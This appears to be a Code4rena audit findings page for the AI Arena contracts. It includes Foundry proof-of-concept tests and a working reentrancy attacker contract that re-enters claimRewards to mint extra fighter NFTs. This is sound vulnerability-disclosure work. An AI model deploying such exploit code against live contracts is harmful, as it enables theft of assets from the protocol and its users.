Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 58/283
Findings: 6
Award: $117.04
π Selected for report: 1
π Solo Findings: 0
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L257
The current implementation of the redeemMintPass
function in the FighterFarm contract allows users to choose any fighter type when redeeming a mint pass, including the dendroid type, which is indicated as the rarest and most powerful type available. This design leads to a situation where all players have an incentive to only mint the dendroid type, thereby undermining the rarity intended among the various fighter types. This could potentially lead to a lack of diversity in the game's ecosystem and diminish the unique value of rarer fighters.
The redeemMintPass
function does not restrict the choice of fighter types when minting, allowing users to specify any fighter type, including the rarest type, through parameters such as fighterTypes
. Here's a simplified code snippet illustrating the issue:
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, // Players can choose any type, including the rarest ... ) external { for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { ... _createNewFighter( msg.sender, ... fighterTypes[i], // Fighter type is directly taken from input ... ); } }
Here's a coded POC for this issue. Place the test in the FighterFarm.t.sol
file and run the code forge test --mt testRedeemMintPassForDendroid -vv
function testRedeemMintPassForDendroid() public { uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string[](1); _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // first i have to mint an nft from the mintpass contract assertEq(_mintPassContract.mintingPaused(), false); _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); // once owning one i can then redeem it for a fighter uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _mintPassDNAs[0] = "dna"; _fighterTypes[0] = 1; _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 1; // approve the fighterfarm contract to burn the mintpass _mintPassContract.approve(address(_fighterFarmContract), 1); // Player choses drid because it is a rare fighter type _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); // check balance to see if we successfully redeemed the mintpass for a fighter assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1); // Check that dendroidBool is the fighter type of the minted fighter (,,,,,,,,bool dendroidBool) = _fighterFarmContract.fighters(0); assertEq(dendroidBool, true); }
Manual review + foundry
redeemMintPass
function to include logic that controls the rarity of fighter types that can be minted.Other
#0 - c4-pre-sort
2024-02-22T08:21:13Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:21:22Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:54:11Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:56:27Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-06T03:36:28Z
HickupHH3 marked the issue as satisfactory
π Selected for report: t0x1c
Also found by: 0rpse, 0xAadi, 0xBinChook, 0xCiphky, 0xDetermination, 14si2o_Flint, AC000123, Aamir, Abdessamed, Blank_Space, CodeWasp, DanielArmstrong, DarkTower, Draiakoo, Honour, Kalogerone, Krace, McToady, Merulez99, MidgarAudits, MrPotatoMagic, PedroZurdo, Silvermist, Tychai0s, VAD37, Velislav4o, VrONTg, WoolCentaur, YouCrossTheLineAlfie, ZanyBonzy, alexxander, aslanbek, btk, csanuragjain, d3e4, dimulski, djxploit, erosjohn, evmboi32, fnanni, forgebyola, forkforkdog, handsomegiraffe, immeas, israeladelaja, juancito, ktg, n0kto, neocrao, ni8mare, okolicodes, peanuts, petro_1912, shaflow2, shaka, swizz, ubermensch, ubl4nk, yotov721
2.0593 USDC - $2.06
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L527-L528 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L530-L531
A player can get into battles with no underlying risk taken on because they can stake a small amount (or the smallest amount possible) just enough to be rounded down while also maintaining the same potential reward as their opponent even though the opponent's stake is more than theirs. This issue creates an unfair route for some players to spam games with no risk attached while the opponent and other players are treated unfairly regarding their stake at risk.
This issue exists in the RankedBattle::_addResultPoints
where the potential amount of NRNs to put at risk for a player will be rounded down if their stake is small.
Consider a visual scenario:
stakingFactor_
is rounded to 1 when it is initially 0 for Alice. For bob the sqrt rounds down the 3 stakes tokens to 1.The code below highlights a line where this rounding issue occurs: curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { uint256 stakeAtRisk; uint256 curStakeAtRisk; uint256 points = 0; /// Check how many NRNs the fighter has at risk stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); /// Calculate the staking factor if it has not already been calculated for this round if (_calculatedStakingFactor[tokenId][roundId] == false) { stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk); _calculatedStakingFactor[tokenId][roundId] = true; } /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract @> curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; // @audit if the amount staked is very small, it will round down to 0 if (battleResult == 0) { /// If the user won the match /// If the user has no NRNs at risk, then they can earn points if (stakeAtRisk == 0) { points = stakingFactor[tokenId] * eloFactor; } /// Divert a portion of the points to the merging pool uint256 mergingPoints = (points * mergingPortion) / 100; points -= mergingPoints; _mergingPoolInstance.addPoints(tokenId, mergingPoints); /// Do not allow users to reclaim more NRNs than they have at risk if (curStakeAtRisk > stakeAtRisk) { curStakeAtRisk = stakeAtRisk; } /// If the user has stake-at-risk for their fighter, reclaim a portion /// Reclaiming stake-at-risk puts the NRN back into their staking pool if (curStakeAtRisk > 0) { _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] += curStakeAtRisk; } /// Add points to the fighter for this round accumulatedPointsPerFighter[tokenId][roundId] += points; accumulatedPointsPerAddress[fighterOwner][roundId] += points; totalAccumulatedPoints[roundId] += points; if (points > 0) { emit PointsChanged(tokenId, points, true); } } else if (battleResult == 2) { /// If the user lost the match /// Do not allow users to lose more NRNs than they have in their staking pool if (curStakeAtRisk > amountStaked[tokenId]) { curStakeAtRisk = amountStaked[tokenId]; } if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { points = accumulatedPointsPerFighter[tokenId][roundId]; } accumulatedPointsPerFighter[tokenId][roundId] -= points; accumulatedPointsPerAddress[fighterOwner][roundId] -= points; totalAccumulatedPoints[roundId] -= points; if (points > 0) { emit PointsChanged(tokenId, points, false); } } else { /// If the fighter does not have any points for this round, NRNs become at risk of being lost bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk); if (success) { _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] -= curStakeAtRisk; } } } }
For the staking factor the rounding down occurs here :
function _getStakingFactor( uint256 tokenId, uint256 stakeAtRisk ) private view returns (uint256) { @> uint256 stakingFactor_ = FixedPointMathLib.sqrt( (amountStaked[tokenId] + stakeAtRisk) / 10**18 ); if (stakingFactor_ == 0) { stakingFactor_ = 1; } return stakingFactor_; }
Here's a coded POC for this issue. Place the test in the RankedBattle.t.sol
file and run the code forge test --mt testBattleWithVerySmallStake -vv
function testBattleWithVerySmallStake() public { // Mint 2 fighters for the players address player1 = makeAddr("Player1"); address player2 = makeAddr("Player2"); _mintFromMergingPool(player1); _fundUserWith4kNeuronByTreasury(player1); _mintFromMergingPool(player2); _fundUserWith4kNeuronByTreasury(player2); // Player 1 stakes the lowest amount possible vm.prank(player1); _rankedBattleContract.stakeNRN(1, 0); // Player 2 stakes 3 NRN vm.prank(player2); _rankedBattleContract.stakeNRN(3*10**18, 1); // Check the amounts assertEq(_rankedBattleContract.amountStaked(0), 1); assertEq(_rankedBattleContract.amountStaked(1), 3*10**18); // Update with winning battles for both players vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); uint256 accumulatedPointsPlayer1 = _rankedBattleContract.accumulatedPointsPerAddress(player1, 0); emit log_uint(accumulatedPointsPlayer1); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); uint256 accumulatedPointsPlayer2 = _rankedBattleContract.accumulatedPointsPerAddress(player2, 0); emit log_uint(accumulatedPointsPlayer2); // Both players have won the same exact points assertEq(accumulatedPointsPlayer1, accumulatedPointsPlayer2); /************************************************************************************************* */ // Update with losing battle address player3 = makeAddr("Player3"); address player4 = makeAddr("Player4"); _mintFromMergingPool(player3); _fundUserWith4kNeuronByTreasury(player3); _mintFromMergingPool(player4); _fundUserWith4kNeuronByTreasury(player4); // Player 3 stakes the lowest amount possible vm.prank(player3); _rankedBattleContract.stakeNRN(1, 2); // Player 4 stakes 3 NRN vm.prank(player4); _rankedBattleContract.stakeNRN(3*10**18, 3); // Update with losing battles for both players vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(2, 50, 2, 1500, true); uint256 stakeAtRiskPlayer3 = _stakeAtRiskContract.getStakeAtRisk(2); emit log_uint(stakeAtRiskPlayer3); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(3, 50, 2, 1500, true); uint256 stakeAtRiskPlayer4 = _stakeAtRiskContract.getStakeAtRisk(3); emit log_uint(stakeAtRiskPlayer4); assertEq(stakeAtRiskPlayer3, 0); assertEq(stakeAtRiskPlayer4, 3 *10**15); }
Some test logs show that even with different stakes at risk, the points are the same but the potential NRN at risk losses are not which is unfair to Bob:
[PASS] testBattleWithVerySmallStake() (gas: 2942329) Logs: 750 750 0 3000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.17ms
Manual review + foundry
The easy fix for this is to enforce a minimum amount of NRNs to be staked which should be 3 NRN tokens at least for it to be fair and not round down due to the sqrt.
Math
#0 - c4-pre-sort
2024-02-22T17:18:48Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-22T17:18:58Z
raymondfam marked the issue as duplicate of #38
#2 - c4-judge
2024-03-07T02:58:22Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-07T03:38:46Z
HickupHH3 marked the issue as satisfactory
π Selected for report: haxatron
Also found by: 0xAlix2, 0xCiphky, 0xStriker, 0xaghas, 0xbranded, 0xlamide, 0xmystery, 0xvj, 14si2o_Flint, Aamir, AgileJune, Aymen0909, DanielArmstrong, DarkTower, Draiakoo, EagleSecurity, Giorgio, Krace, KupiaSec, MidgarAudits, MrPotatoMagic, PoeAudits, Ryonen, SpicyMeatball, Topmark, Tychai0s, VAD37, Varun_05, VrONTg, WoolCentaur, _eperezok, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, d3e4, devblixt, evmboi32, fnanni, immeas, jesjupyter, juancito, ke1caM, klau5, ktg, lil_eth, merlinboii, nuthan2x, peter, petro_1912, pkqs90, pynschon, radin100, sandy, sashik_eth, shaka, sl1, soliditywala, t0x1c, ubl4nk, visualbits, vnavascues
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L380 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L500
Generations of fighters are expected to increase. When this happens with the current implementation of the FighterFarm
contract by the protocol, the reRoll
, mintFromMergingPool
functions as well as other functions calling the function _createFighterBase
will be DoSed. The issue stems from the fact that the numElements
never gets updated and is only set once in the constructor
during deployment.
Let's take a look at a visual scenario for this issue:
FighterFarm
contractreRoll
his champion fighter token a second time but this revertsMergingPoolContract
tries to mint a fighter to Bob which also revertsSince the value numElements
tracks never got updated when the fighter generation changed, the value for the mapping The
numElements[generation[fighterType]]will be 0, so the call to
_createFighterBaseduring fighter
reRolland
_createNewFighter` will fail because you cannot modulo by 0.
The impacted lines of code in the _createFighterBase
function call:
function _createFighterBase(uint256 dna, uint8 fighterType) private view returns (uint256, uint256, uint256) { @> uint256 element = dna % numElements[generation[fighterType]]; uint256 weight = dna % 31 + 65; uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
Here's a coded POC of this issue. Place the test inside the FighterFarm.t.sol
and run the test forge test --mt testRerollOrCreateFighterFailsAfterIncrementGeneration -vv
function testRerollOrCreateFighterFailsAfterIncrementGeneration() public { _mintFromMergingPool(_ownerAddress); // get 4k neuron from treasury _fundUserWith4kNeuronByTreasury(_ownerAddress); // after successfully minting a fighter, update the model // Check that numElements mappings is not 0 for the old generation assertEq(_fighterFarmContract.numElements(_fighterFarmContract.generation(0)), 3); vm.prank(_ownerAddress); _fighterFarmContract.incrementGeneration(0); //Check that generation increased for fighterType = 0 assertEq(_fighterFarmContract.generation(0), 1); uint8 tokenId = 0; uint8 fighterType = 0; _neuronContract.addSpender(address(_fighterFarmContract)); // Reroll fails because of modulo by zero in _createFighterBase vm.expectRevert(); _fighterFarmContract.reRoll(tokenId, fighterType); // _createNewFighter fails because of modulo by zero in _createFighterBase vm.expectRevert(); vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(80)]); // Check that numElements mappings is 0 for this new generation assertEq(_fighterFarmContract.numElements(_fighterFarmContract.generation(0)), 0); }
Manual review + foundry
When generation incrementation happens, update the numElements
as well. This will fix the issue:
+ function incrementGeneration(uint8 fighterType, uint256 numElements) external returns (uint8) { - function incrementGeneration(uint8 fighterType) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; + numElements[generation[fighterType]] = numElements; return generation[fighterType]; }
DoS
#0 - c4-pre-sort
2024-02-22T19:07:59Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T19:08:28Z
raymondfam marked the issue as duplicate of #45
#2 - c4-judge
2024-03-07T06:53:30Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-08T03:19:49Z
HickupHH3 marked the issue as satisfactory
π Selected for report: DarkTower
Also found by: 0brxce, 0xBinChook, 0xCiphky, 0xDetermination, 0xLogos, Aymen0909, BARW, BoRonGod, Kow, Krace, MrPotatoMagic, PedroZurdo, Tricko, Zac, ZanyBonzy, alexxander, bhilare_, djxploit, evmboi32, grearlake, haxatron, immeas, jnforja, ke1caM, klau5, rouhsamad, sashik_eth, sl1, solmaxis69, ubl4nk, web3pwn, zxriptor
83.7062 USDC - $83.71
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L154
When a fighting round ends, winners for the current round get picked and allocated respective rewards. These rewards are fighter NFTs that can be claimed by such winners. When you claim your rewards for a round or several rounds, the numRoundsClaimed
state variable which stores the number of rounds you've claimed for gets updated to reflect your claim and each winner can only ever claim up to the amounts they win for each given round. That means if you try to batch-claim for two given rounds for which you won 2 fighter NFTs, your NFT count after the claim should be whatever your current balance of NFT is plus 2 fighter NFTs.
The issue here is that there's a way to mint additional fighter NFTs on top of the fighter NFTs you're owed for winning even though the claimRewards
function has implemented a decent system to prevent over-claims. For one, it's relatively complex to spoof a call pretending to be the _mergingPoolAddress
to mint but a malicious user doesn't need to worry too much about that to mint more fighters; they just need to leverage using a smart contract for engineering a simple reentrancy.
Consider this call path that allows a malicious user to reach this undesired state:
claimRewards
supplying the args (string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes)
The root cause of this issue stems from the roundId
. The amount of times you can reenter the claimRewards
function depends on the roundId
. So let's say the roundId
is 3, it mints 6 NFTs:
Here's a POC to show one such attack path in the code
Place the code in the MergingPool.t.sol
test contract and do the setup: testReenterPOC
is the attack POC test
Attack contract:
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; contract Attack is IERC721Receiver { address owner; uint256 tickets = 0; MergingPool mergingPool; FighterFarm fighterFarm; constructor(address mergingPool_, address fighterFarm_) { mergingPool = MergingPool(mergingPool_); fighterFarm = FighterFarm(fighterFarm_); owner = msg.sender; } function reenter() internal { ++tickets; if (tickets < 100) { (string[] memory _modelURIs, string[] memory _modelTypes, uint256[2][] memory _customAttributes) = setInformation(); mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes); } } function onERC721Received(address, address, uint256 tokenId, bytes calldata) public returns (bytes4) { reenter(); return IERC721Receiver.onERC721Received.selector; } function attack() public { (string[] memory _modelURIs, string[] memory _modelTypes, uint256[2][] memory _customAttributes) = setInformation(); mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes); } function setInformation() public pure returns (string[] memory, string[] memory, uint256[2][] memory) { string[] memory _modelURIs = new string[](3); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](3); _modelTypes[0] = "original"; _modelTypes[1] = "original"; _modelTypes[2] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](3); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); _customAttributes[1][0] = uint256(1); _customAttributes[1][1] = uint256(80); _customAttributes[2][0] = uint256(1); _customAttributes[2][1] = uint256(80); return (_modelURIs, _modelTypes, _customAttributes); } }
function testReenterPOC() public { address Bob = makeAddr("Bob"); Attack attacker = new Attack(address(_mergingPoolContract), address(_fighterFarmContract)); _mintFromMergingPool(address(attacker)); _mintFromMergingPool(Bob); assertEq(_fighterFarmContract.ownerOf(0), address(attacker)); assertEq(_fighterFarmContract.ownerOf(1), Bob); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); assertEq(_mergingPoolContract.winnerAddresses(0, 0) == address(attacker), true); // winner matches ownerOf tokenId assertEq(_mergingPoolContract.winnerAddresses(0, 1) == Bob, true); string[] memory _modelURIs = new string[](2); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](2); _modelTypes[0] = "original"; _modelTypes[1] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](2); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); _customAttributes[1][0] = uint256(1); _customAttributes[1][1] = uint256(80); // winners of roundId 1 are picked uint256 numberOfRounds = _mergingPoolContract.roundId(); console.log("Number of Rounds: ", numberOfRounds); _mergingPoolContract.pickWinner(_winners); _mergingPoolContract.pickWinner(_winners); console.log("------------------------------------------------------"); console.log("Balance of attacker (Alice) address pre-claim rewards: ", _fighterFarmContract.balanceOf(address(attacker))); // console.log("Balance of Bob address pre-claim rewards: ", _fighterFarmContract.balanceOf(Bob)); uint256 numRewardsForAttacker = _mergingPoolContract.getUnclaimedRewards(address(attacker)); // uint256 numRewardsForBob = _mergingPoolContract.getUnclaimedRewards(Bob); console.log("------------------------------------------------------"); console.log("Number of unclaimed rewards attacker (Alice) address has a claim to: ", numRewardsForAttacker); // console.log("Number of unclaimed rewards Bob address has a claim to: ", numRewardsForBob); // vm.prank(Bob); // _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); vm.prank(address(attacker)); attacker.attack(); uint256 balanceOfAttackerPostClaim = _fighterFarmContract.balanceOf(address(attacker)); console.log("------------------------------------------------------"); console.log("Balance of attacker (Alice) address post-claim rewards: ", balanceOfAttackerPostClaim); // console.log("Balance of Bob address post-claim rewards: ", _fighterFarmContract.balanceOf(Bob)); }
Malicious user leveraging reentrancy test result:
[PASS] testReenterPOC() (gas: 3999505) Logs: Number of Rounds: 1 ------------------------------------------------------ Balance of attacker (Alice) address pre-claim rewards: 1 ------------------------------------------------------ Number of unclaimed rewards attacker (Alice) address has a claim to: 3 ------------------------------------------------------ Balance of attacker (Alice) address post-claim rewards: 7
Non-malicious users test POC:
function testNormalEOAClaim() public { _mintFromMergingPool(_ownerAddress); _mintFromMergingPool(_DELEGATED_ADDRESS); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true); // winner matches ownerOf tokenId assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true); string[] memory _modelURIs = new string[](2); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](2); _modelTypes[0] = "original"; _modelTypes[1] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](2); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); _customAttributes[1][0] = uint256(1); _customAttributes[1][1] = uint256(80); // winners of roundId 1 are picked uint256 numberOfRounds = _mergingPoolContract.roundId(); console.log("Number of Rounds: ", numberOfRounds); _mergingPoolContract.pickWinner(_winners); console.log("Balance of owner address pre-claim rewards: ", _fighterFarmContract.balanceOf(address(this))); console.log("Balance of delegated address pre-claim rewards: ", _fighterFarmContract.balanceOf(_DELEGATED_ADDRESS)); uint256 numRewardsForWinner = _mergingPoolContract.getUnclaimedRewards(_ownerAddress); uint256 numRewardsForDelegated = _mergingPoolContract.getUnclaimedRewards(_DELEGATED_ADDRESS); // emit log_uint(numRewardsForWinner); console.log("Number of unclaimed rewards owner address has a claim to: ", numRewardsForWinner); console.log("Number of unclaimed rewards delegated address has a claim to: ", numRewardsForDelegated); // winner claims rewards for previous roundIds _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); vm.prank(_DELEGATED_ADDRESS); _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); console.log("Balance of owner address post-claim rewards: ", _fighterFarmContract.balanceOf(address(this))); console.log("Balance of delegated address post-claim rewards: ", _fighterFarmContract.balanceOf(_DELEGATED_ADDRESS)); }
Non-malicious users doing a normal claim result:
[PASS] testNormalEOAClaim() (gas: 2673123) Logs: Number of Rounds: 1 Balance of owner address pre-claim rewards: 1 Balance of delegated address pre-claim rewards: 1 Number of unclaimed rewards owner address has a claim to: 2 Number of unclaimed rewards delegated address has a claim to: 2 Balance of owner address post-claim rewards: 3 Balance of delegated address post-claim rewards: 3
Manual review
Use a nonReentrant
modifier for the claimRewards
function.
Reentrancy
#0 - c4-pre-sort
2024-02-22T08:32:11Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:33:50Z
raymondfam marked the issue as primary issue
#2 - raymondfam
2024-02-26T01:45:20Z
Seems unlikely because numRoundsClaimed[msg.sender] has been incremented when reentering. lowerBound and currentRound are going to be incremented too. But the POC seems successful.
#3 - c4-sponsor
2024-03-04T00:39:31Z
brandinho (sponsor) confirmed
#4 - c4-judge
2024-03-07T02:41:05Z
HickupHH3 marked the issue as selected for report
#5 - c4-judge
2024-03-07T02:41:08Z
HickupHH3 marked the issue as satisfactory
#6 - SonnyCastro
2024-03-07T19:21:17Z
Mitigated here
π Selected for report: givn
Also found by: 0x11singh99, 0xAkira, 0xBinChook, 0xDetermination, 0xMosh, 0xStriker, 0xmystery, 14si2o_Flint, 7ashraf, Aamir, AlexCzm, BARW, Bauchibred, BenasVol, BigVeezus, Blank_Space, Bube, DarkTower, DeFiHackLabs, EagleSecurity, KmanOfficial, Krace, McToady, MrPotatoMagic, PetarTolev, Rolezn, SHA_256, SpicyMeatball, Tekken, Timenov, ZanyBonzy, agadzhalov, alexzoid, boredpukar, btk, cartlex_, dimulski, forkforkdog, haxatron, immeas, jesjupyter, juancito, kartik_giri_47538, klau5, lsaudit, merlinboii, nuthan2x, offside0011, oualidpro, peter, radev_sw, rekxor, rspadi, shaflow2, shaka, swizz, vnavascues, yotov721, yovchev_yoan
8.8123 USDC - $8.81
In roughly 81.98 years, assuming the AI Arena contract still functions, rather unlikely; voltage replenishment will fail for fighters in the Arena because at that point the block.timestamp
will be too much of a value the uint32
type can accomodate, hence leading transactions to the spendVoltage
>> _replenishVoltage
functions to fail.
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L119
/// @notice Replenishes voltage and sets the replenish time to 1 day from now /// @dev This function is called internally to replenish the voltage for the owner. /// @param owner The address of the owner function _replenishVoltage(address owner) private { ownerVoltage[owner] = 100; @> ownerVoltageReplenishTime[owner] = uint32(block.timestamp + 1 days); // @audit-info will fail in 81.98 years }
Switching to a bigger datatype such as the uint64
or more should be fine for a long time:
- ownerVoltageReplenishTime[owner] = uint32(block.timestamp + 1 days); + ownerVoltageReplenishTime[owner] = uint64(block.timestamp + 1 days);
The function is called when when a voltage battery to replenish voltage for a player in AI Arena. But it allows players to burn his battery even at 90% voltage which will also lose them the VoltageReplenishTime
.
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L93
function useVoltageBattery() public { require(ownerVoltage[msg.sender] < 100); require(_gameItemsContractInstance.balanceOf(msg.sender, 0) > 0); _gameItemsContractInstance.burn(msg.sender, 0, 1); ownerVoltage[msg.sender] = 100; emit VoltageRemaining(msg.sender, ownerVoltage[msg.sender]); }
claimFighters
The issue here is that if players get first signature and he doesn't claim and he will get the second one. He can't use both now because nftclaimed
mapping is changed after first claim. And server uses previous nftClaimed
mapping state for signature generation.
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L199C1-L205C13
bytes32 msgHash = bytes32(keccak256(abi.encode( msg.sender, numToMint[0], numToMint[1], nftsClaimed[msg.sender][0], nftsClaimed[msg.sender][1] )));
erecover
function to avoid signature replay due to duplicate v valueThe built-in EVM precompile ecrecover is susceptible to signature malleability (because of non-unique s and v values) which could lead to replay attacks. We recommend to use Oppenzeppelin's erecover
function to avoid signature replay due to duplicate v value.
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L206
require(Verification.verify(msgHash, signature, _delegatedAddress)); // @audit better to use hashstruct for signing data for better readability and security
transferFrom
fails and can lead to unexpected impactsThere are many instances of this issue with different impacts.
This will lead to unused approval.
function reRoll(uint8 tokenId, uint8 fighterType) public { //@note can you give this any fighter type that you want ? require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); _neuronInstance.approveSpender(msg.sender, rerollCost); // @note approves this contract @> bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); // @audit should use safetransferFrom
